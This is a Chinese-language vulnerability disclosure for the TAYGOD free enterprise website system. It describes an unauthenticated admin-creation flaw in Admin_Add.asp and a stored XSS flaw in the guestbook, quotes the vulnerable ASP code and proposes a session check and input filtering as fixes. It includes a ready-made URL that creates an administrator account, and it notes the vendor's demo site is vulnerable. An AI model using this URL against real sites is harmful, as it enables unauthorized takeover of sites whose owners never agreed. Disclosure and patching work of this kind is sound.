网站地图    收藏   

主页 > 后端 > 网站安全 >

TAYGOD免费企业建站系统无验证添加管理员实战及

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] ①无验证添加管理员②留言本XSS漏洞详细说明:①无验证添加管理员漏洞文件:Admin_Add.asp漏洞代码:!--#include file=../../config/conn.asp--!--#include file=md5.asp--%if request.QueryString(......

①无验证添加管理员
②留言本XSS漏洞
详细说明:①无验证添加管理员
漏洞文件:Admin_Add.asp
漏洞代码:
<!--#include file="../../config/conn.asp"-->
<!--#include file="md5.asp"-->

<%
if request.QueryString("action")="save" then

uid=replace(trim(Request("uid")),"'","")
realname=replace(trim(Request("realname")),"'","")
pwd1=replace(trim(Request("pwd1")),"'","")
pwd2=replace(trim(Request("pwd2")),"'","")
password=md5(pwd1)

原因:未进行验证直接写入数据

利用方案:构造URL

http://localhost/source/admin/Admin_Add.asp?action=save&uid=test&realname=test&pwd1=123456&pwd2=123456

这样就能添加进去一个帐号为test,密码为123456的管理员用户
②留言本XSS漏洞
漏洞文件:Message.asp
漏洞代码:
if request.QueryString("action")="save" then
username=trim(request("username"))
email=trim(request("email"))
tel=trim(request("tel"))
zhiwu=trim(request("zhiwu"))
city=trim(request("city"))
qq=trim(request("qq"))
add=trim(request("add"))
title=trim(request("title"))
content=trim(request("content"))
messageip=Request.ServerVariables("REMOTE_ADDR")
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from TAY_message",conn,1,3

原因:未过滤,后台照样能够执行

 

漏洞证明:



介个站点是官方演示站点,同样存在漏洞

修补方案:

加入判断代码
if session("admin")="" then
response.Write "<script language='javascript'>alert('网络超时或您还没有登陆!');window.location.href='login.asp';</script>"
response.End
end if

留言本添加过滤

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论